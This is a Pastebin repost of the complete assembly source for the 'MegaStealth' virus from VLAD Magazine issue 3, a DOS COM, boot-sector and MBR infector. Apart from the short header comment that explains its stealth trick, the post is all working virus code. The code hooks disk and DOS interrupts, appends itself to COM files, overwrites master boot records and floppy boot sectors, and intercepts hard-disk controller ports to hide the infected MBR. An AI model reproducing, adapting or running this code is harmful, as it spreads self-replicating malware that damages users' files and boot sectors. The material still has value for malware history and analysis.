Advertisement
FlyFar

VLAD Magazine - Issue #3 - Article.5_5 - MegaStealth Virus - Source Code

Jun 28th, 2023
1,297
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 11.29 KB | Cybersecurity | 0 0
  1. ;       MegaStealth Virus Source by qark
  2. ;
  3. ;       COM/BS/MBR Infector
  4. ;       It uses the new form of stealth developed by the 'strange' virus in
  5. ;       that even if you are using the original ROM int 13h the virus will
  6. ;       still successfully stealth.  It does this by hooking the hard disk
  7. ;       IRQ, int 76h, and checking the ports for a read to the MBR.  If the
  8. ;       MBR is being read, the ports will be changed to cause a read from
  9. ;       sector four instead.
  10. ;
  11. ;       Noone has the 'strange' virus (and believe me, every VX BBS in the
  12. ;       world has been checked), so I decided to develop the technology
  13. ;       independently and make the information public.
  14. ;
  15.  
  16.  
  17.  
  18.  
  19.     org     0
  20.  
  21.     cld
  22.     mov     ax,cs
  23.     or      ax,ax
  24.     jz      bs_entry
  25.     jmp     com_entry
  26.  
  27. ;------------------- Boot Sector Stub ----------------
  28. Marker  db      '[MegaStealth] by qark/VLAD',0
  29.  
  30. bs_entry:
  31.     xor     ax,ax
  32.     mov     si,7c00h
  33.     cli
  34.     mov     ss,ax
  35.     mov     sp,si
  36.     sti
  37.     mov     es,ax
  38.     mov     ds,ax
  39.  
  40.     ;CS,DS,ES,SS,AX=0    SI,SP=7C00H
  41.    
  42.     sub     word ptr [413h],2       ;Allocate 2k of memory.
  43.  
  44.     int     12h                     ;Get memory into AX.
  45.  
  46.     mov     cl,6
  47.     shl     ax,cl
  48.     mov     es,ax
  49.  
  50.     mov     ax,202h
  51.     xor     bx,bx
  52.     xor     dh,dh
  53.     mov     cx,2
  54.     or      dl,dl
  55.     js      hd_load
  56.  
  57.     db      0b9h                    ;MOV CX,xxxx
  58.     floppy_sect     dw      0
  59.     db      0b6h                    ;MOV DH,xx
  60.     floppy_head     db      0
  61.  
  62. hd_load:
  63.     int     13h                     ;Read our virus in.
  64.  
  65.     mov     si,13h*4
  66.     mov     di,offset i13
  67.     movsw
  68.     movsw
  69.     mov     word ptr [si-4],offset handler
  70.     mov     word ptr [si-2],es
  71.  
  72.     mov     byte ptr es:set_21,0
  73.    
  74.     ;Test for an 8088.
  75.     mov     al,2
  76.     mov     cl,33
  77.     shr     al,cl
  78.     test    al,1
  79.     jz      no_int76                ;8088 doesn't use int76
  80.  
  81.     mov     si,76h*4                ;Set int76
  82.     mov     di,offset i76
  83.     movsw
  84.     movsw
  85.     mov     word ptr [si-4],offset int76handler
  86.     mov     word ptr [si-2],es
  87.  
  88.     mov     byte ptr es:llstealth_disable,0
  89.  
  90. no_int76:
  91.     int     19h                     ;Reload the original bootsector.
  92.  
  93. ;------------------- COM Stub ----------------
  94.  
  95. com_entry:
  96.  
  97.     db      0beh                    ;MOV SI,xxxx
  98.     delta   dw      100h
  99.  
  100.     mov     ax,0f001h
  101.     int     13h
  102.  
  103.     cmp     ax,10f0h
  104.     je      resident
  105.  
  106.     mov     ax,ds
  107.     dec     ax
  108.     mov     ds,ax
  109.  
  110.     cmp     byte ptr [0],'Z'
  111.     jne     resident
  112.  
  113.     sub     word ptr [3],7dh
  114.     sub     word ptr [12h],7dh
  115.     mov     ax,word ptr [12h]
  116.  
  117.     push    cs
  118.     pop     ds
  119.     mov     es,ax
  120.     xor     di,di
  121.    
  122.     push    si
  123.  
  124.     mov     cx,1024
  125.     rep     movsb
  126.  
  127.     xor     ax,ax                   ;Set int13
  128.     mov     ds,ax
  129.     mov     si,13h*4
  130.     mov     di,offset i13
  131.     movsw
  132.     movsw
  133.     mov     word ptr [si-4],offset handler
  134.     mov     word ptr [si-2],es
  135.  
  136.     pop     bx
  137.     push    bx
  138.     add     bx,offset end_virus
  139.    
  140.     push    es
  141.    
  142.     push    cs
  143.     pop     es
  144.     mov     ax,201h
  145.     mov     cx,1
  146.     mov     dx,80h
  147.     int     13h
  148.    
  149.     pop     es
  150.  
  151.     mov     si,21h*4
  152.     mov     di,offset i21
  153.     movsw
  154.     movsw
  155.     mov     word ptr [si-4],offset int21handler
  156.     mov     word ptr [si-2],es
  157.    
  158.     mov     byte ptr es:set_21,1
  159.     pop     si
  160.    
  161. resident:
  162.     push    cs
  163.     pop     ds
  164.     push    cs
  165.     pop     es
  166.  
  167.     add     si,offset old4
  168.     mov     di,100h
  169.     push    di
  170.     movsw
  171.     movsw
  172.  
  173.     ret
  174.  
  175. old4    db      0cdh,20h,0,0
  176. new4    db      0e9h,0,0,'V'
  177.  
  178. ;------------------- Int 21 ----------------
  179.  
  180. Int21handler:
  181.     push    ax
  182.     push    es
  183.     mov     ax,0b800h
  184.     mov     es,ax
  185.     mov     word ptr es:[340],0afafh
  186.  
  187.     pop     es
  188.     pop     ax
  189.  
  190.     push    ax
  191.     xchg    al,ah
  192.     cmp     al,3dh
  193.     je      chk_infect
  194.     cmp     al,4bh
  195.     je      chk_infect
  196.     cmp     al,43h
  197.     je      chk_infect
  198.     cmp     al,56h
  199.     je      chk_infect
  200.     cmp     ax,6ch
  201.     je      chk_infect
  202.     pop     ax
  203. exit_21:
  204.     db      0eah
  205.     i21     dd      0
  206.  
  207. far_pop:
  208.     jmp     pop_21
  209.  
  210. chk_infect:
  211.     push    bx
  212.     push    cx
  213.     push    dx
  214.     push    si
  215.     push    di
  216.     push    ds
  217.     push    es
  218.  
  219.     cmp     al,6ch
  220.     jne     no_6c
  221.     mov     dx,si
  222. no_6c:
  223.     mov     si,dx
  224.     cld
  225. keep_lookin:
  226.     lodsb
  227.     cmp     al,'.'
  228.     jne     keep_lookin
  229.     lodsw
  230.     or      ax,2020h
  231.     cmp     ax,'oc'
  232.     jne     far_pop
  233.     lodsb
  234.     or      al,20h
  235.     cmp     al,'m'
  236.     jne     far_pop
  237.     mov     ax,3d02h
  238.     call    int21h
  239.     jc      far_pop
  240.     xchg    bx,ax
  241.    
  242.     mov     ah,3fh
  243.     mov     cx,4
  244.     push    cs
  245.     pop     ds
  246.     mov     dx,offset old4
  247.     call    int21h
  248.  
  249.     mov     ax,word ptr [old4]
  250.     cmp     al,0e9h
  251.     jne     chk_exe
  252.     mov     al,byte ptr old4+3
  253.     cmp     al,'V'
  254.     je      close_exit
  255.     jmp     infect
  256. chk_exe:
  257.     or      ax,2020h
  258.     cmp     ax,'mz'
  259.     je      close_exit
  260.     cmp     ax,'zm'
  261.     je      close_exit
  262. infect:
  263.     call    lseek_end
  264.     or      dx,dx                   ;Too big
  265.     jnz     close_exit
  266.     cmp     ax,63500
  267.     ja      close_exit
  268.     cmp     ax,1000
  269.     jb      close_exit
  270.  
  271.     push    ax
  272.     add     ax,100h
  273.     mov     delta,ax
  274.     pop     ax
  275.     sub     ax,3
  276.     mov     word ptr new4+1,ax
  277.  
  278.     mov     ax,5700h
  279.     call    int21h
  280.     jc      close_exit
  281.     push    cx
  282.     push    dx
  283.  
  284.     mov     ah,40h
  285.     mov     cx,offset end_virus
  286.     xor     dx,dx
  287.     call    int21h
  288.     jc      time_exit
  289.  
  290.     call    lseek_start
  291.    
  292.     mov     ah,40h
  293.     mov     cx,4
  294.     mov     dx,offset new4
  295.     call    int21h
  296.    
  297.  
  298. time_exit:
  299.     pop     dx
  300.     pop     cx
  301.     mov     ax,5701h
  302.     call    int21h
  303.  
  304. close_exit:
  305.     mov     ah,3eh
  306.     call    int21h
  307. pop_21:
  308.     pop     es
  309.     pop     ds
  310.     pop     di
  311.     pop     si
  312.     pop     dx
  313.     pop     cx
  314.     pop     bx
  315.     pop     ax
  316.     jmp     exit_21
  317.  
  318. lseek_start:
  319.     mov     al,0
  320.     jmp     short lseek
  321. lseek_end:
  322.     mov     al,2
  323. lseek:
  324.     xor     cx,cx
  325.     cwd
  326.     mov     ah,42h
  327.     call    int21h
  328.     ret
  329.  
  330.  
  331. Int21h:
  332.     pushf
  333.     call dword ptr cs:i21
  334.     ret
  335.  
  336.     set_21  db      0       ;1 = 21 is set
  337. ;------------------- Int 13 ----------------
  338.  
  339. Stealth:
  340.     mov     cx,4
  341.     mov     ax,201h
  342.  
  343.     or      dl,dl
  344.     js      stealth_mbr             ;DL>=80H then goto stealthmbr
  345.  
  346.     mov     cl,14
  347.     mov     dh,1
  348. stealth_mbr:
  349.     call    int13h
  350.     jmp     pop_end
  351.  
  352. res_test:
  353.     xchg    ah,al
  354.     iret
  355.  
  356. multipartite:
  357.     cmp     byte ptr cs:set_21,1
  358.     je      jend
  359.     cmp     word ptr es:[bx],'ZM'
  360.     jne     jend
  361.     push    si
  362.     push    di
  363.     push    ds
  364.     push    es
  365.  
  366.     xor     si,si
  367.     mov     ds,si
  368.     push    cs
  369.     pop     es
  370.  
  371.     mov     si,21h*4
  372.     mov     di,offset i21
  373.     movsw
  374.     movsw
  375.     mov     word ptr [si-4],offset int21handler
  376.     mov     word ptr [si-2],es
  377.  
  378.     mov     byte ptr cs:set_21,1
  379.  
  380.     pop     es
  381.     pop     ds
  382.     pop     di
  383.     pop     si
  384.     jmp     jend
  385.  
  386. rend:
  387.     retf    2
  388.  
  389. Jend:
  390.     db      0eah                    ;= JMP FAR PTR
  391.     i13     dd      0               ;Orig int13h
  392.  
  393. Handler:
  394.     cmp     ax,0f001h               ;You fool.
  395.     je      res_test
  396.  
  397.     cmp     ah,2
  398.     jne     multipartite
  399.  
  400.     cmp     cx,1
  401.     jne     multipartite
  402.  
  403.     or      dh,dh
  404.     jnz     multipartite
  405.    
  406.  
  407.     call    int13h                  ;Call the read so we can play with
  408.                     ; the buffer.
  409.     jc      rend                    ;The read didn't go through so leave
  410.  
  411.     pushf
  412.     push    ax
  413.     push    bx
  414.     push    cx
  415.     push    dx
  416.     push    si
  417.     push    di
  418.     push    ds
  419.     push    es
  420.    
  421.     cmp     word ptr es:[bx+offset marker],'M['
  422.     je      stealth
  423.  
  424.     mov     byte ptr cs:llstealth_disable,1
  425.  
  426.     mov     cx,4                    ;Orig HD MBR at sector 3.
  427.  
  428.     or      dl,dl                   ;Harddisk ?
  429.     js      write_orig              ;80H or above ?
  430.  
  431.     ;Calculate shit like track/head for floppy******
  432.     push    dx
  433.  
  434.     push    cs
  435.     pop     ds
  436.  
  437.     mov     ax,es:[bx+18h]          ;Sectors per track.
  438.     sub     es:[bx+13h],ax          ;Subtract a track.
  439.     mov     ax,es:[bx+13h]          ;AX=total sectors.
  440.     mov     cx,es:[bx+18h]          ;CX=sectors per track
  441.     xor     dx,dx
  442.     div     cx                      ;Total sectors/sectors per track
  443.  
  444.     xor     dx,dx
  445.     mov     cx,word ptr es:[bx+1ah] ;CX=heads
  446.     div     cx                      ;Total tracks/heads
  447.  
  448.     push    ax
  449.     xchg    ah,al                   ;AX=Track
  450.     mov     cl,6
  451.     shl     al,cl                   ;Top 2 bits of track.
  452.     or      al,1                    ;We'll use the first sector onward.
  453.     mov     word ptr floppy_sect,ax
  454.  
  455.     pop     ax
  456.     mov     cx,word ptr es:[bx+1ah] ;CX=heads
  457.     xor     dx,dx
  458.     div     cx                      ;Track/Total Heads
  459.  
  460.     mov     byte ptr floppy_head,dl ;Remainder=Head number
  461.  
  462.     mov     cx,14                   ;Floppy root directory.
  463.     pop     dx
  464.     mov     dh,1
  465.  
  466. write_orig:
  467.     mov     ax,301h                 ;Save the original boot sector.
  468.     call    int13h
  469.     jc      pop_end
  470.  
  471.     push    es
  472.     pop     ds
  473.  
  474.     mov     si,bx
  475.     push    cs
  476.     pop     es                      ;ES=CS
  477.     mov     cx,510                  ;Move original sector to our buffer.
  478.     cld
  479.     mov     di,offset end_virus
  480.     rep     movsb
  481.    
  482.     mov     ax,0aa55h               ;End of sector marker.
  483.     stosw
  484.  
  485.     push    cs
  486.     pop     ds
  487.  
  488.     xor     si,si
  489.     mov     di,offset end_virus
  490.     mov     cx,offset com_entry
  491.     rep     movsb
  492.  
  493.     mov     bx,offset end_virus
  494.    
  495.     mov     ax,301h
  496.     mov     cx,1
  497.     xor     dh,dh
  498.    
  499.     call    int13h
  500.     jc      pop_end
  501.    
  502.     mov     ax,302h
  503.     mov     cx,2
  504.     xor     bx,bx
  505.     or      dl,dl
  506.     js      mbr_write
  507.  
  508.     mov     cx,word ptr floppy_sect
  509.     mov     dh,byte ptr floppy_head
  510.    
  511. mbr_write:
  512.  
  513.     call    int13h                  ;Write the virus!
  514.  
  515. pop_end:
  516.     mov     byte ptr cs:llstealth_disable,0
  517.  
  518.     pop     es
  519.     pop     ds
  520.     pop     di
  521.     pop     si
  522.     pop     dx
  523.     pop     cx
  524.     pop     bx
  525.     pop     ax
  526.     popf    
  527.     jmp     rend                                        
  528.  
  529.  
  530. Int13h  Proc    Near
  531. ; AH & AL are swapped on entry to this call.
  532.  
  533.     pushf                   ;Setup our interrupt
  534.     push    cs              ;Our segment
  535.     call    jend            ;This will also fix our AX
  536.     ret
  537.  
  538. Int13h  EndP
  539.  
  540. ;------------------- Int 76 ----------------
  541.  
  542. not_bs:
  543.     pop     es
  544.     pop     ds
  545.     pop     di
  546.     pop     dx
  547.     pop     cx
  548.     pop     bx
  549.     pop     ax
  550. no_stealth:
  551.     db      0eah                    ;JMPF
  552.     i76     dd      0
  553.    
  554. Int76Handler:
  555.     cmp     byte ptr cs:llstealth_disable,1
  556.     je      no_stealth
  557.  
  558.     push    ax
  559.     push    bx
  560.     push    cx
  561.     push    dx
  562.     push    di
  563.     push    ds
  564.     push    es
  565.  
  566.     mov     dx,1f3h
  567.     in      al,dx           ;Sector number.
  568.     cmp     al,1
  569.     jne     not_bs
  570.     inc     dx              ;1f4h
  571.     in      al,dx           ;Cylinder Low
  572.     cmp     al,0
  573.     jne     not_bs
  574.     inc     dx              ;1f5h
  575.     in      al,dx           ;Cylinder High
  576.     cmp     al,0
  577.     jne     not_bs
  578.     inc     dx              ;1f6h
  579.     in      al,dx
  580.     and     al,0fh          ;Remove everything but the head.
  581.     cmp     al,0            ;Head
  582.     jne     not_bs
  583.  
  584.     inc     dx              ;1f7h
  585.     in      al,dx
  586.  
  587.     test    al,0fh
  588.     jnz     disk_read
  589.     jmp     not_bs          ;Must be a write.
  590. disk_read:
  591.     cld
  592.     mov     dx,1f0h
  593.     push    cs
  594.     pop     es
  595.     mov     di,offset end_virus
  596.     mov     cx,512/2
  597.     rep     insw            ;Read in what they read.
  598.  
  599.     ;Now reset the whole system for a read from sector 4.
  600.  
  601.     mov     dx,1f2h
  602.     mov     al,1            ;One sector.
  603.     out     dx,al
  604.     inc     dx
  605.     mov     al,4            ;Sector 4 instead.
  606.     out     dx,al   ;1f3
  607.     mov     al,0
  608.     inc     dx
  609.     out     dx,al   ;1f4
  610.     inc     dx
  611.     out     dx,al   ;1f5
  612.     inc     dx
  613.     mov     al,0a0h
  614.     out     dx,al   ;1f6
  615.  
  616.     mov     dx,1f7h
  617.     mov     al,20h          ;Read function.
  618.     out     dx,al
  619. not_done:
  620.     in      al,dx
  621.     test    al,8
  622.     jz      not_done
  623.     jmp     not_bs
  624.  
  625. llstealth_disable       db      0       ;0 means int76 enabled
  626. ;---------------------- 76 -------------------
  627.  
  628. end_virus:
Tags: Com MBR infector
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement